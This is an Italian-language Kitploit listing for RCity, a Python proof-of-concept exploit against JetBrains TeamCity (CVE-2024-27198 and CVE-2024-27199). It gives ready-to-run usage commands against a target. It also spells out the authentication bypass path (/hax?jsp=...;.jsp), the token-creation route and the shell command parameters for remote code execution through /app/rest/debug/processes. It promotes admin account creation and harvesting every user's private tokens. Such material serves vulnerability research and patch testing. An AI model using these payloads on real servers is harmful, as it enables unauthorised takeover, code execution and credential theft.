Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
RCity-CVE-2024-27198 — CVE-2024-27198 e CVE-2024-27199 PoC - RCE, Creazione account amministratore, Enumerazione utenti, Informazioni sul server | Kitploit
Strumenti/GitHubGitHub/stuub/rcity-cve-2024-27198
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubstuub/rcity-cve-2024-27198

RCity-CVE-2024-27198

CVE-2024-27198 e CVE-2024-27199 PoC - RCE, Creazione account amministratore, Enumerazione utenti, Informazioni sul server

Vedi Repository
3632 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

RCity - CVE-2024-27198 (RCE e creazione account admin) e CVE-2024-27199 (Auth Bypass)

Sfruttamento di CVE-2024-27198 e CVE-2024-27199

RCity è uno script Python che interagisce con un server TeamCity vulnerabile. La CVE consente la creazione non autorizzata di account amministratore, bypassando i 403 sul dominio. Consente inoltre di ottenere RCE tramite il percorso Debug/Processes.

Utilizzo

Per usare lo script, devi fornire l'URL del server TeamCity di destinazione come argomento da riga di comando con l'opzione -t o --target:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111

Puoi aumentare la verbosità dell'output con l'opzione -v o --verbose:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --verbose

Puoi inviare comandi singoli direttamente tramite l'opzione -c o --command, se vuoi una shell interattiva NON usare questa opzione. Non è adatta alle reverse shell, poiché la connessione si chiude dopo l'invio del comando:

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -c id

Puoi assicurarti che nessuna richiesta POST venga inviata al server TeamCity usando l'opzione -s o --stealth.

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 -s

Disabilita la funzione RCE: tutto il resto rimane invariato

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-rce

Impedisce il recupero della lista utenti; può richiedere tempo su liste di utenti più grandi. Passa direttamente alla RCE con questa opzione!

root@kitploit:~
python3 RCity.py -t http://teamcity.com:8111 --no-enum

Funzionalità

  • Creazione di account amministratore

  • Remote Code Execution

  • Generazione di token di autorizzazione

  • Enumerazione degli utenti

  • Raccolta di tutti i token di autenticazione privati degli utenti

  • Raccolta dei dettagli del server

Esempio

image

RCE

image

Generazione Token

image

Documentazione

Qui esaminerò le funzioni usate in questo progetto, per darti una migliore comprensione di questo exploit e delle vulnerabilità associate.

Contesto

La natura della vulnerabilità correla tra CVE-2024-27198 e CVE-2024-27199, poiché il problema deriva dallo stesso bypass di autenticazione per le route REST API nei server JetBrains TeamCity. Tuttavia, è l'impatto di questa vulnerabilità a cambiare le cose e a diventare interessante... CVE-2024-27198 è il vero peso massimo sulla carta, grazie all'impatto RCE dichiarato; sfrutta l'endpoint /app/rest/debug/processes, SOLO con i permessi necessari per effettuare le richieste a questo endpoint, tramite un Auth Token. La chiamata a questo endpoint differisce tra host Unix e Windows, ma viene manipolata in modo simile; l'unica differenza è la shell nativa che viene invocata per una richiesta.

Linux - processes?exePath=/bin/sh&params=-c&params={yourRCE_HTMLEncoded}

Windows - processes?exePath=cmd.exe&params=/c&params={yourRCE_HTMLEncoded}

Auth Bypass

Ora, come accennato prima, questo non è possibile senza autenticazione; dovrebbe essere sicuro, giusto? È qui che entra in gioco l'Auth Bypass.

Bypassare la policy della build di TeamCity apre l'opportunità di fare richieste al server e inserire il nostro Auth Token, senza nemmeno aver bisogno tecnicamente di un nostro account.

Il bypass stesso consiste nel creare un percorso alternativo alle route REST che, senza entrare troppo nei dettagli, richiede il controllo dei contenuti di una classe il cui compito è gestire le richieste, in particolare quelle che non sono 302 (redirect), il che ci consente di controllarla aggiungendo 3 parti necessarie alla nostra URL.

  1. Un endpoint non autenticato che non triggera un 302, nel nostro caso /hax

  2. Un parametro di query URL chiamato jsp per interrogare le route API; ad esempio, il percorso users ?jsp=/app/rest/users

  3. Un percorso URI arbitrario che termina con .jsp. Ciò può essere ottenuto aggiungendo un segmento di parametro di percorso HTTP ;.jsp

Il payload finale per effettuare richieste non autorizzate all'endpoint users è quindi: /hax?jsp=/app/rest/users;.jsp

Ora possiamo fare richieste all'endpoint users e aggiungere i nostri utenti, persino Amministratori!

Tuttavia, prima di passare alla RCE, ci serve un token di autenticazione, come bearer per le nostre richieste RCE verso la loro REST API. Nessun problema: ora che abbiamo il nostro bypass, andiamo a crearlo!

Generazione Token REST API --> RCE

L'endpoint del token seguiva lo stesso albero di percorsi dell'esempio precedente; si trova su /app/rest/users/id:{user_id}/tokens/{token_name}. Quindi creiamo un altro payload per bypassare l'autenticazione e creare un token!

(Per questo forniamo il nostro nome token; in questo script si tratta di una generazione casuale di caratteri ascii alfanumerici).

/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp

Dopo aver effettuato la nostra richiesta POST per aggiungere il token al nostro utente appena creato, possiamo iniziare a fare richieste alla route /app/rest/debug/processes!

Non c'è nulla di speciale nella creazione dei nostri payload RCE: basta codificare in HTML i payload nell'argomento params!

Buon hacking!

Riferimenti

https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

https://nvd.nist.gov/vuln/detail/CVE-2024-27198

https://github.com/W01fh4cker/CVE-2024-27198-RCE

Disclaimer

Questo script è solo a scopo didattico. Usalo in modo responsabile e solo su sistemi su cui hai il permesso di accedere.

Scarica lo strumento